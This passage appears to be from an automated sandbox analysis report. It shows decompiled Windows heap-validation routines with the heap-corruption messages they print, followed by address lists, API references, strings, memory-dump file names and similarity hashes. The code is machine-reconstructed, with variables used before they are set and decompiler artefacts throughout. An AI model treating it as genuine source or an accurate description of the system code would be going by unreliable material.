										if( *(_t414 + 0x4c) != 0) {
											 *(_t415 + 3) =  *(_t415 + 2) ^ _v6 ^ _t395;
											 *_t415 =  *_t415 ^  *(_t414 + 0x50);
											__eflags =  *_t415;
										}
										goto L107;
									}
									_t249 =  *[fs:0x30];
									__eflags =  *(_t249 + 0xc);
									if( *(_t249 + 0xc) == 0) {
										_push("HEAP: ");
										E6A91B150();
									} else {
										E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									}
									_push( *((intOrPtr*)(_t332 + 0x28)));
									_push(_t415);
									_push("Heap block at %p is not last block in segment (%p)\n");
									L95:
									E6A91B150();
									goto L117;
								}
								_v12 = _v12 + 1;
								_v16 = _v16 + (_t245 >> 0xc);
								if( *(_t414 + 0x4c) != 0) {
									 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
									 *_t415 =  *_t415 ^  *(_t414 + 0x50);
								}
								_t415 = _t415 + 0x20 +  *(_t415 + 0x1c);
								if(_t415 ==  *((intOrPtr*)(_t332 + 0x28))) {
									L82:
									_v8 = _v8 & 0x00000000;
									goto L86;
								} else {
									if( *(_t414 + 0x4c) != 0) {
										_t397 =  *(_t414 + 0x50) ^  *_t415;
										 *_t415 = _t397;
										_t367 = _t397 >> 0x00000010 ^ _t397 >> 0x00000008 ^ _t397;
										_t442 = _t397 >> 0x18 - _t367;
										if(_t397 >> 0x18 != _t367) {
											_push(_t367);
											E6A9CFA2B(_t332, _t414, _t415, _t414, _t415, _t442);
										}
									}
									if( *(_t414 + 0x54) !=  *(_t415 + 4)) {
										_t259 =  *[fs:0x30];
										__eflags =  *(_t259 + 0xc);
										if( *(_t259 + 0xc) == 0) {
											_push("HEAP: ");
											E6A91B150();
										} else {
											E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push( *(_t415 + 4) & 0x0000ffff ^  *(_t414 + 0x54) & 0x0000ffff);
										_push(_t415);
										_push("Heap block at %p has corrupted PreviousSize (%lx)\n");
										goto L95;
									} else {
										if( *(_t414 + 0x4c) != 0) {
											 *(_t415 + 3) =  *(_t415 + 2) ^  *(_t415 + 1) ^  *_t415;
											 *_t415 =  *_t415 ^  *(_t414 + 0x50);
										}
										goto L82;
									}
								}
							}
						}
						_t281 = _v28 + 0xfffffff0;
						_v24 = _t281;
						__eflags = _t390 & 0x00000002;
						if((_t390 & 0x00000002) != 0) {
							__eflags = _t281 - 4;
							if(_t281 > 4) {
								_t281 = _t281 - 4;
								__eflags = _t281;
								_v24 = _t281;
							}
						}
						__eflags = _t390 & 0x00000008;
						if((_t390 & 0x00000008) == 0) {
							_t102 = _t415 + 0x10; // -8
							_t283 = E6A96D540(_t102, _t281, 0xfeeefeee);
							_v20 = _t283;
							__eflags = _t283 - _v24;
							if(_t283 != _v24) {
								_t284 =  *[fs:0x30];
								__eflags =  *(_t284 + 0xc);
								if( *(_t284 + 0xc) == 0) {
									_push("HEAP: ");
									E6A91B150();
								} else {
									E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_t288 = _v20 + 8 + _t415;
								__eflags = _t288;
								_push(_t288);
								_push(_t415);
								_push("Free Heap block %p modified at %p after it was freed\n");
								goto L95;
							}
							goto L66;
						} else {
							_t374 =  *(_t415 + 8);
							_t400 =  *((intOrPtr*)(_t415 + 0xc));
							_v24 = _t374;
							_v28 = _t400;
							_t294 =  *(_t374 + 4);
							__eflags =  *_t400 - _t294;
							if( *_t400 != _t294) {
								L64:
								_push(_t374);
								_push( *_t400);
								_t101 = _t415 + 8; // -16
								E6A9DA80D(_t414, 0xd, _t101, _t294);
								goto L86;
							}
							_t56 = _t415 + 8; // -16
							__eflags =  *_t400 - _t56;
							_t374 = _v24;
							if( *_t400 != _t56) {
								goto L64;
							}
							 *((intOrPtr*)(_t414 + 0x74)) =  *((intOrPtr*)(_t414 + 0x74)) - _v20;
							_t402 =  *(_t414 + 0xb4);
							__eflags = _t402;
							if(_t402 == 0) {
								L35:
								_t298 = _v28;
								 *_t298 = _t374;
								 *(_t374 + 4) = _t298;
								__eflags =  *(_t415 + 2) & 0x00000008;
								if(( *(_t415 + 2) & 0x00000008) == 0) {
									L39:
									_t377 =  *_t415 & 0x0000ffff;
									_t299 = _t414 + 0xc0;
									_v28 =  *_t415 & 0x0000ffff;
									 *(_t415 + 2) = 0;
									 *((char*)(_t415 + 7)) = 0;
									__eflags =  *(_t414 + 0xb4);
									if( *(_t414 + 0xb4) == 0) {
										_t378 =  *_t299;
									} else {
										_t378 = E6A93E12C(_t414, _t377);
										_t299 = _t414 + 0xc0;
									}
									__eflags = _t299 - _t378;
									if(_t299 == _t378) {
										L51:
										_t300 =  *((intOrPtr*)(_t378 + 4));
										__eflags =  *_t300 - _t378;
										if( *_t300 != _t378) {
											_push(_t378);
											_push( *_t300);
											__eflags = 0;
											E6A9DA80D(0, 0xd, _t378, 0);
										} else {
											_t87 = _t415 + 8; // -16
											_t406 = _t87;
											 *_t406 = _t378;
											 *((intOrPtr*)(_t406 + 4)) = _t300;
											 *_t300 = _t406;
											 *((intOrPtr*)(_t378 + 4)) = _t406;
										}
										 *((intOrPtr*)(_t414 + 0x74)) =  *((intOrPtr*)(_t414 + 0x74)) + ( *_t415 & 0x0000ffff);
										_t405 =  *(_t414 + 0xb4);
										__eflags = _t405;
										if(_t405 == 0) {
											L61:
											__eflags =  *(_t414 + 0x4c);
											if(__eflags != 0) {
												 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
												 *_t415 =  *_t415 ^  *(_t414 + 0x50);
											}
											goto L86;
										} else {
											_t380 =  *_t415 & 0x0000ffff;
											while(1) {
												__eflags = _t380 -  *((intOrPtr*)(_t405 + 4));
												if(_t380 <  *((intOrPtr*)(_t405 + 4))) {
													break;
												}
												_t307 =  *_t405;
												__eflags = _t307;
												if(_t307 == 0) {
													_t309 =  *((intOrPtr*)(_t405 + 4)) - 1;
													L60:
													_t94 = _t415 + 8; // -16
													E6A93E4A0(_t414, _t405, 1, _t94, _t309, _t380);
													goto L61;
												}
												_t405 = _t307;
											}
											_t309 = _t380;
											goto L60;
										}
									} else {
										_t407 =  *(_t414 + 0x4c);
										while(1) {
											__eflags = _t407;
											if(_t407 == 0) {
												_t312 =  *(_t378 - 8) & 0x0000ffff;
											} else {
												_t315 =  *(_t378 - 8);
												_t407 =  *(_t414 + 0x4c);
												__eflags = _t315 & _t407;
												if((_t315 & _t407) != 0) {
													_t315 = _t315 ^  *(_t414 + 0x50);
													__eflags = _t315;
												}
												_t312 = _t315 & 0x0000ffff;
											}
											__eflags = _v28 - (_t312 & 0x0000ffff);
											if(_v28 <= (_t312 & 0x0000ffff)) {
												goto L51;
											}
											_t378 =  *_t378;
											__eflags = _t414 + 0xc0 - _t378;
											if(_t414 + 0xc0 != _t378) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
								}
								_t317 = E6A93A229(_t414, _t415);
								__eflags = _t317;
								if(_t317 != 0) {
									goto L39;
								}
								E6A93A309(_t414, _t415,  *_t415 & 0x0000ffff, 1);
								goto L86;
							}
							_t385 =  *_t415 & 0x0000ffff;
							while(1) {
								__eflags = _t385 -  *((intOrPtr*)(_t402 + 4));
								if(_t385 <  *((intOrPtr*)(_t402 + 4))) {
									break;
								}
								_t320 =  *_t402;
								__eflags = _t320;
								if(_t320 == 0) {
									_t322 =  *((intOrPtr*)(_t402 + 4)) - 1;
									L34:
									_t63 = _t415 + 8; // -16
									E6A93BC04(_t414, _t402, 1, _t63, _t322, _t385);
									_t374 = _v24;
									goto L35;
								}
								_t402 = _t320;
							}
							_t322 = _t385;
							goto L34;
						}
					}
					if(_a20 == 0) {
						L18:
						if(( *(_t415 + 2) & 0x00000004) == 0) {
							goto L67;
						}
						if(E6A9C23E3(_t414, _t415) == 0) {
							goto L117;
						}
						goto L67;
					} else {
						if((_t390 & 0x00000002) == 0) {
							_t326 =  *(_t415 + 3) & 0x000000ff;
						} else {
							_t328 = E6A911F5B(_t415);
							_t342 = _v20;
							_t326 =  *(_t328 + 2) & 0x0000ffff;
						}
						_t429 = _t326;
						if(_t429 == 0) {
							goto L18;
						}
						if(_t429 >= 0) {
							__eflags = _t326 & 0x00000800;
							if(__eflags != 0) {
								goto L18;
							}
							__eflags = _t326 -  *((intOrPtr*)(_t414 + 0x84));
							if(__eflags >= 0) {
								goto L18;
							}
							_t412 = _a20;
							_t327 = _t326 & 0x0000ffff;
							L17:
							 *((intOrPtr*)(_t412 + _t327 * 4)) =  *((intOrPtr*)(_t412 + _t327 * 4)) + _t342;
							goto L18;
						}
						_t327 = _t326 & 0x00007fff;
						if(_t327 >= 0x81) {
							goto L18;
						}
						_t412 = _a24;
						goto L17;
					}
					L86:
				} while (_t415 <  *((intOrPtr*)(_t332 + 0x28)));
				_t189 = _v12;
				goto L88;
			}

0x6a9d4af7
0x6a9d4afb
0x6a9d4afd
0x6a9d4b01
0x6a9d4b03
0x6a9d4b08
0x6a9d4b0a
0x6a9d4b0f
0x6a9d4eb5
0x6a9d4eb5
0x6a9d4ebb
0x6a9d50d5
0x6a9d50d8
0x6a9d4ff6
0x00000000
0x6a9d4ff6
0x6a9d50de
0x6a9d50e4
0x6a9d50e8
0x6a9d5107
0x6a9d510c
0x6a9d50ea
0x6a9d50ff
0x6a9d5104
0x6a9d5112
0x6a9d5115
0x6a9d5118
0x6a9d5119
0x6a9d50cb
0x6a9d50cb
0x6a9d50af
0x00000000
0x6a9d50af
0x6a9d4ecb
0x6a9d50b6
0x6a9d50bb
0x6a9d4ed1
0x6a9d4ee6
0x6a9d4eeb
0x6a9d50c1
0x6a9d50c2
0x6a9d50c5
0x6a9d50c6
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9d4b15
0x6a9d4b15
0x6a9d4b1c
0x6a9d4b1e
0x6a9d4b23
0x6a9d4b27
0x6a9d4b33
0x6a9d4b38
0x6a9d4b3a
0x6a9d4b3c
0x6a9d4b41
0x6a9d4b41
0x6a9d4b3a
0x6a9d4b52
0x6a9d5045
0x6a9d504b
0x6a9d504f
0x6a9d506e
0x6a9d5073
0x6a9d5051
0x6a9d5066
0x6a9d506b
0x6a9d5083
0x6a9d5088
0x6a9d5088
0x6a9d508a
0x6a9d5091
0x6a9d5099
0x6a9d5099
0x6a9d509d
0x6a9d50a7
0x6a9d50ad
0x6a9d50ad
0x6a9d50ad
0x00000000
0x6a9d509d
0x6a9d4b58
0x6a9d4b5b
0x6a9d4b5e
0x6a9d4b63
0x6a9d4b66
0x6a9d4b69
0x6a9d4b6f
0x6a9d4be4
0x6a9d4bf0
0x6a9d4bf2
0x6a9d4bf5
0x6a9d4dc3
0x6a9d4dc6
0x6a9d4dc9
0x6a9d4dce
0x6a9d4dce
0x6a9d4dd0
0x6a9d4dd0
0x6a9d4dd5
0x6a9d4def
0x6a9d4dd7
0x6a9d4de7
0x6a9d4de7
0x6a9d4df3
0x6a9d5001
0x6a9d5007
0x6a9d500b
0x6a9d502a
0x6a9d502f
0x6a9d500d
0x6a9d5022
0x6a9d5027
0x6a9d5039
0x6a9d503a
0x6a9d503b
0x00000000
0x6a9d4df9
0x6a9d4dfd
0x6a9d4e90
0x6a9d4e94
0x6a9d4e9e
0x6a9d4ea4
0x6a9d4ea4
0x6a9d4ea4
0x6a9d4ea6
0x6a9d4ea6
0x00000000
0x6a9d4ea6
0x6a9d4e03
0x6a9d4e08
0x6a9d4f88
0x6a9d4f92
0x6a9d4f99
0x6a9d4f9c
0x6a9d4fe0
0x6a9d4fe4
0x6a9d4fee
0x6a9d4ff4
0x6a9d4ff4
0x6a9d4ff4
0x00000000
0x6a9d4fe4
0x6a9d4f9e
0x6a9d4fa4
0x6a9d4fa8
0x6a9d4fc7
0x6a9d4fcc
0x6a9d4faa
0x6a9d4fbf
0x6a9d4fc4
0x6a9d4fd2
0x6a9d4fd5
0x6a9d4fd6
0x6a9d4f34
0x6a9d4f34
0x00000000
0x6a9d4f39
0x6a9d4e0e
0x6a9d4e14
0x6a9d4e1b
0x6a9d4e25
0x6a9d4e2b
0x6a9d4e2b
0x6a9d4e33
0x6a9d4e38
0x6a9d4e8a
0x6a9d4e8a
0x00000000
0x6a9d4e3a
0x6a9d4e3e
0x6a9d4e43
0x6a9d4e47
0x6a9d4e53
0x6a9d4e58
0x6a9d4e5a
0x6a9d4e5c
0x6a9d4e61
0x6a9d4e61
0x6a9d4e5a
0x6a9d4e6e
0x6a9d4f41
0x6a9d4f47
0x6a9d4f4b
0x6a9d4f6a
0x6a9d4f6f
0x6a9d4f4d
0x6a9d4f62
0x6a9d4f67
0x6a9d4f7f
0x6a9d4f80
0x6a9d4f81
0x00000000
0x6a9d4e74
0x6a9d4e78
0x6a9d4e82
0x6a9d4e88
0x6a9d4e88
0x00000000
0x6a9d4e78
0x6a9d4e6e
0x6a9d4e38
0x6a9d4df3
0x6a9d4bfe
0x6a9d4c01
0x6a9d4c04
0x6a9d4c07
0x6a9d4c09
0x6a9d4c0c
0x6a9d4c0e
0x6a9d4c0e
0x6a9d4c11
0x6a9d4c11
0x6a9d4c0c
0x6a9d4c14
0x6a9d4c17
0x6a9d4dae
0x6a9d4db2
0x6a9d4db7
0x6a9d4dba
0x6a9d4dbd
0x6a9d4ef1
0x6a9d4ef7
0x6a9d4efb
0x6a9d4f1a
0x6a9d4f1f
0x6a9d4efd
0x6a9d4f12
0x6a9d4f17
0x6a9d4f2b
0x6a9d4f2b
0x6a9d4f2d
0x6a9d4f2e
0x6a9d4f2f
0x00000000
0x6a9d4f2f
0x00000000
0x6a9d4c1d
0x6a9d4c1d
0x6a9d4c20
0x6a9d4c23
0x6a9d4c26
0x6a9d4c29
0x6a9d4c2c
0x6a9d4c2e
0x6a9d4d91
0x6a9d4d91
0x6a9d4d92
0x6a9d4d97
0x6a9d4d9e
0x00000000
0x6a9d4d9e
0x6a9d4c34
0x6a9d4c37
0x6a9d4c39
0x6a9d4c3c
0x00000000
0x00000000
0x6a9d4c45
0x6a9d4c48
0x6a9d4c4e
0x6a9d4c50
0x6a9d4c78
0x6a9d4c78
0x6a9d4c7b
0x6a9d4c7d
0x6a9d4c80
0x6a9d4c84
0x6a9d4cad
0x6a9d4cad
0x6a9d4cb0
0x6a9d4cb8
0x6a9d4cbb
0x6a9d4cbe
0x6a9d4cc1
0x6a9d4cc7
0x6a9d4cdc
0x6a9d4cc9
0x6a9d4cd2
0x6a9d4cd4
0x6a9d4cd4
0x6a9d4cde
0x6a9d4ce0
0x6a9d4d13
0x6a9d4d13
0x6a9d4d16
0x6a9d4d18
0x6a9d4d29
0x6a9d4d2a
0x6a9d4d2c
0x6a9d4d34
0x6a9d4d1a
0x6a9d4d1a
0x6a9d4d1a
0x6a9d4d1d
0x6a9d4d1f
0x6a9d4d22
0x6a9d4d24
0x6a9d4d24
0x6a9d4d3c
0x6a9d4d3f
0x6a9d4d45
0x6a9d4d47
0x6a9d4d6c
0x6a9d4d6c
0x6a9d4d70
0x6a9d4d7e
0x6a9d4d84
0x6a9d4d84
0x00000000
0x6a9d4d49
0x6a9d4d49
0x6a9d4d56
0x6a9d4d56
0x6a9d4d59
0x00000000
0x00000000
0x6a9d4d4e
0x6a9d4d50
0x6a9d4d52
0x6a9d4d8e
0x6a9d4d5d
0x6a9d4d5f
0x6a9d4d67
0x00000000
0x6a9d4d67
0x6a9d4d54
0x6a9d4d54
0x6a9d4d5b
0x00000000
0x6a9d4d5b
0x6a9d4ce2
0x6a9d4ce2
0x6a9d4ce5
0x6a9d4ce5
0x6a9d4ce7
0x6a9d4cfb
0x6a9d4ce9
0x6a9d4ce9
0x6a9d4cec
0x6a9d4cef
0x6a9d4cf1
0x6a9d4cf3
0x6a9d4cf3
0x6a9d4cf3
0x6a9d4cf6
0x6a9d4cf6
0x6a9d4d02
0x6a9d4d05
0x00000000
0x00000000
0x6a9d4d07
0x6a9d4d0f
0x6a9d4d11
0x00000000
0x00000000
0x00000000
0x6a9d4d11
0x00000000
0x6a9d4ce5
0x6a9d4ce0
0x6a9d4c8a
0x6a9d4c8f
0x6a9d4c91
0x00000000
0x00000000
0x6a9d4c9d
0x00000000
0x6a9d4c9d
0x6a9d4c52
0x6a9d4c5f
0x6a9d4c5f
0x6a9d4c62
0x00000000
0x00000000
0x6a9d4c57
0x6a9d4c59
0x6a9d4c5b
0x6a9d4caa
0x6a9d4c66
0x6a9d4c68
0x6a9d4c70
0x6a9d4c75
0x00000000
0x6a9d4c75
0x6a9d4c5d
0x6a9d4c5d
0x6a9d4c64
0x00000000
0x6a9d4c64
0x6a9d4c17
0x6a9d4b75
0x6a9d4bc4
0x6a9d4bc8
0x00000000
0x00000000
0x6a9d4bd9
0x00000000
0x00000000
0x00000000
0x6a9d4b77
0x6a9d4b7a
0x6a9d4b8c
0x6a9d4b7c
0x6a9d4b7e
0x6a9d4b83
0x6a9d4b86
0x6a9d4b86
0x6a9d4b90
0x6a9d4b93
0x00000000
0x00000000
0x6a9d4b95
0x6a9d4bab
0x6a9d4bb0
0x00000000
0x00000000
0x6a9d4bb2
0x6a9d4bb9
0x00000000
0x00000000
0x6a9d4bbb
0x6a9d4bbe
0x6a9d4bc1
0x6a9d4bc1
0x00000000
0x6a9d4bc1
0x6a9d4b97
0x6a9d4ba4
0x00000000
0x00000000
0x6a9d4ba6
0x00000000
0x6a9d4ba6
0x6a9d4ea9
0x6a9d4ea9
0x6a9d4eb2
0x00000000

APIs

RtlCompareMemoryUlong.1105(-00000008,?,FEEEFEEE), ref: 6A9D4DB2
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000008,?,?), ref: 6A9D4EE6
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000008,?,FEEEFEEE), ref: 6A9D4F12
DbgPrint.1105(HEAP: ,-00000008,?,FEEEFEEE), ref: 6A9D4F1F
DbgPrint.1105(Heap block at %p is not last block in segment (%p),-00000018,?), ref: 6A9D4F34
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6A9D4F62
DbgPrint.1105(HEAP: ), ref: 6A9D4F6F
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6A9D4FBF
DbgPrint.1105(HEAP: ), ref: 6A9D4FCC
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6A9D5022
DbgPrint.1105(HEAP: ), ref: 6A9D502F
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6A9D5066
DbgPrint.1105(HEAP: ), ref: 6A9D5073
DbgPrint.1105(Heap entry %p has incorrect PreviousSize field (%04x instead of %04x),-00000018,?,?), ref: 6A9D5091
DbgPrint.1105(HEAP: ,-00000008,?,?), ref: 6A9D50BB
DbgPrint.1105(Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x),?,00000000,?,-00000008,?,?), ref: 6A9D50CB
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000008,?,?), ref: 6A9D50FF
DbgPrint.1105(HEAP: ,-00000008,?,?), ref: 6A9D510C

Strings

Heap entry %p has incorrect PreviousSize field (%04x instead of %04x), xrefs: 6A9D508C
Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x), xrefs: 6A9D5119
Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x), xrefs: 6A9D50C6
Heap block at %p has incorrect segment offset (%x), xrefs: 6A9D503B
Heap block at %p has corrupted PreviousSize (%lx), xrefs: 6A9D4F81
Heap block at %p is not last block in segment (%p), xrefs: 6A9D4FD6
Free Heap block %p modified at %p after it was freed, xrefs: 6A9D4F2F
HEAP: , xrefs: 6A9D4F1A, 6A9D4F6A, 6A9D4FC7, 6A9D502A, 6A9D506E, 6A9D50B6, 6A9D5107
HEAP[%wZ]: , xrefs: 6A9D4EE1, 6A9D4F0D, 6A9D4F5D, 6A9D4FBA, 6A9D501D, 6A9D5061, 6A9D50FA

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$CompareMemoryUlong
String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
API String ID: 2560481200-3591852110
Opcode ID: 6b6afe543d546f2e9000643d91b4efec5fd4e37b5e978141cb272b5b850413b0
Instruction ID: f170f56fa0d59b98e028f62556ef6a07d93b710111375ecfc261b0bd7cfd009b
Opcode Fuzzy Hash: 6b6afe543d546f2e9000643d91b4efec5fd4e37b5e978141cb272b5b850413b0
Instruction Fuzzy Hash: 2012B030204A46AFD725DF68C484BBAB7F5EF89304F26C459E4958B762DB34E881CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6A9D4496, Relevance: 45.9, APIs: 18, Strings: 8, Instructions: 417
memorynativeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 55%

			E6A9D4496(signed int* __ecx, void* __edx) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed char _v24;
				signed int* _v28;
				char _v32;
				signed int* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t150;
				intOrPtr _t151;
				signed char _t156;
				intOrPtr _t157;
				unsigned int _t169;
				intOrPtr _t170;
				signed int* _t183;
				signed char _t184;
				intOrPtr _t191;
				signed int _t201;
				intOrPtr _t203;
				intOrPtr _t212;
				intOrPtr _t220;
				signed int _t230;
				signed int _t241;
				signed int _t244;
				void* _t259;
				signed int _t260;
				signed int* _t261;
				intOrPtr* _t262;
				signed int _t263;
				signed int* _t264;
				signed int _t267;
				signed int* _t268;
				void* _t270;
				void* _t281;
				signed short _t285;
				signed short _t289;
				signed int _t291;
				signed int _t298;
				signed char _t303;
				signed char _t308;
				signed int _t314;
				intOrPtr _t317;
				unsigned int _t319;
				signed int* _t325;
				signed int _t326;
				signed int _t327;
				intOrPtr _t328;
				signed int _t329;
				signed int _t330;
				signed int* _t331;
				signed int _t332;
				signed int _t350;

				_t259 = __edx;
				_t331 = __ecx;
				_v28 = __ecx;
				_v20 = 0;
				_v12 = 0;
				_t150 = E6A9D49A4(__ecx);
				_t267 = 1;
				if(_t150 == 0) {
					L61:
					_t151 =  *[fs:0x30];
					__eflags =  *((char*)(_t151 + 2));
					if( *((char*)(_t151 + 2)) != 0) {
						 *0x6aa06378 = _t267;
						asm("int3");
						 *0x6aa06378 = 0;
					}
					__eflags = _v12;
					if(_v12 != 0) {
						_t105 =  &_v16;
						 *_t105 = _v16 & 0x00000000;
						__eflags =  *_t105;
						E6A94174B( &_v12,  &_v16, 0x8000);
					}
					L65:
					__eflags = 0;
					return 0;
				}
				if(_t259 != 0 || (__ecx[0x10] & 0x20000000) != 0) {
					_t268 =  &(_t331[0x30]);
					_v32 = 0;
					_t260 =  *_t268;
					_t308 = 0;
					_v24 = 0;
					while(_t268 != _t260) {
						_t260 =  *_t260;
						_v16 =  *_t325 & 0x0000ffff;
						_t156 = _t325[0];
						_v28 = _t325;
						_v5 = _t156;
						__eflags = _t156 & 0x00000001;
						if((_t156 & 0x00000001) != 0) {
							_t157 =  *[fs:0x30];
							__eflags =  *(_t157 + 0xc);
							if( *(_t157 + 0xc) == 0) {
								_push("HEAP: ");
								E6A91B150();
							} else {
								E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_t325);
							E6A91B150("dedicated (%04Ix) free list element %p is marked busy\n", _v16);
							L32:
							_t270 = 0;
							__eflags = _t331[0x13];
							if(_t331[0x13] != 0) {
								_t325[0] = _t325[0] ^ _t325[0] ^  *_t325;
								 *_t325 =  *_t325 ^ _t331[0x14];
							}
							L60:
							_t267 = _t270 + 1;
							__eflags = _t267;
							goto L61;
						}
						_t169 =  *_t325 & 0x0000ffff;
						__eflags = _t169 - _t308;
						if(_t169 < _t308) {
							_t170 =  *[fs:0x30];
							__eflags =  *(_t170 + 0xc);
							if( *(_t170 + 0xc) == 0) {
								_push("HEAP: ");
								E6A91B150();
							} else {
								E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							E6A91B150("Non-Dedicated free list element %p is out of order\n", _t325);
							goto L32;
						} else {
							__eflags = _t331[0x13];
							_t308 = _t169;
							_v24 = _t308;
							if(_t331[0x13] != 0) {
								_t325[0] = _t169 >> 0x00000008 ^ _v5 ^ _t308;
								 *_t325 =  *_t325 ^ _t331[0x14];
								__eflags =  *_t325;
							}
							_t26 =  &_v32;
							 *_t26 = _v32 + 1;
							__eflags =  *_t26;
							continue;
						}
					}
					_v16 = 0x208 + (_t331[0x21] & 0x0000ffff) * 4;
					if( *0x6aa06350 != 0 && _t331[0x2f] != 0) {
						_push(4);
						_push(0x1000);
						_push( &_v16);
						_push(0);
						_push( &_v12);
						_push(0xffffffff);
						if(E6A959660() >= 0) {
							_v20 = _v12 + 0x204;
						}
					}
					_t183 =  &(_t331[0x27]);
					_t281 = 0x81;
					_t326 =  *_t183;
					if(_t183 == _t326) {
						L49:
						_t261 =  &(_t331[0x29]);
						_t184 = 0;
						_t327 =  *_t261;
						_t282 = 0;
						_v24 = 0;
						_v36 = 0;
						__eflags = _t327 - _t261;
						if(_t327 == _t261) {
							L53:
							_t328 = _v32;
							_v28 = _t331;
							__eflags = _t328 - _t184;
							if(_t328 == _t184) {
								__eflags = _t331[0x1d] - _t282;
								if(_t331[0x1d] == _t282) {
									__eflags = _v12;
									if(_v12 == 0) {
										L82:
										_t267 = 1;
										__eflags = 1;
										goto L83;
									}
									_t329 = _t331[0x2f];
									__eflags = _t329;
									if(_t329 == 0) {
										L77:
										_t330 = _t331[0x22];
										__eflags = _t330;
										if(_t330 == 0) {
											L81:
											_t129 =  &_v16;
											 *_t129 = _v16 & 0x00000000;
											__eflags =  *_t129;
											E6A94174B( &_v12,  &_v16, 0x8000);
											goto L82;
										}
										_t314 = _t331[0x21] & 0x0000ffff;
										_t285 = 1;
										__eflags = 1 - _t314;
										if(1 >= _t314) {
											goto L81;
										} else {
											goto L79;
										}
										while(1) {
											L79:
											_t330 = _t330 + 0x40;
											_t332 = _t285 & 0x0000ffff;
											_t262 = _v20 + _t332 * 4;
											__eflags =  *_t262 -  *((intOrPtr*)(_t330 + 8));
											if( *_t262 !=  *((intOrPtr*)(_t330 + 8))) {
												break;
											}
											_t285 = _t285 + 1;
											__eflags = _t285 - _t314;
											if(_t285 < _t314) {
												continue;
											}
											goto L81;
										}
										_t191 =  *[fs:0x30];
										__eflags =  *(_t191 + 0xc);
										if( *(_t191 + 0xc) == 0) {
											_push("HEAP: ");
											E6A91B150();
										} else {
											E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push(_t262);
										_push( *((intOrPtr*)(_v20 + _t332 * 4)));
										_push( *((intOrPtr*)(_t330 + 8)));
										_push(_t330 + 0x10);
										E6A91B150("Tag %04x (%ws) size incorrect (%Ix != %Ix) %p\n", _t332);
										L59:
										_t270 = 0;
										__eflags = 0;
										goto L60;
									}
									_t289 = 1;
									__eflags = 1;
									while(1) {
										_t201 = _v12;
										_t329 = _t329 + 0xc;
										_t263 = _t289 & 0x0000ffff;
										__eflags =  *((intOrPtr*)(_t201 + _t263 * 4)) -  *((intOrPtr*)(_t329 + 8));
										if( *((intOrPtr*)(_t201 + _t263 * 4)) !=  *((intOrPtr*)(_t329 + 8))) {
											break;
										}
										_t289 = _t289 + 1;
										__eflags = _t289 - 0x81;
										if(_t289 < 0x81) {
											continue;
										}
										goto L77;
									}
									_t203 =  *[fs:0x30];
									__eflags =  *(_t203 + 0xc);
									if( *(_t203 + 0xc) == 0) {
										_push("HEAP: ");
										E6A91B150();
									} else {
										E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									}
									_t291 = _v12;
									_push(_t291 + _t263 * 4);
									_push( *((intOrPtr*)(_t291 + _t263 * 4)));
									_push( *((intOrPtr*)(_t329 + 8)));
									E6A91B150("Pseudo Tag %04x size incorrect (%Ix != %Ix) %p\n", _t263);
									goto L59;
								}
								_t212 =  *[fs:0x30];
								__eflags =  *(_t212 + 0xc);
								if( *(_t212 + 0xc) == 0) {
									_push("HEAP: ");
									E6A91B150();
								} else {
									E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(_t331[0x1d]);
								_push(_v36);
								_push("Total size of free blocks in arena (%Id) does not match number total in heap header (%Id)\n");
								L58:
								E6A91B150();
								goto L59;
							}
							_t220 =  *[fs:0x30];
							__eflags =  *(_t220 + 0xc);
							if( *(_t220 + 0xc) == 0) {
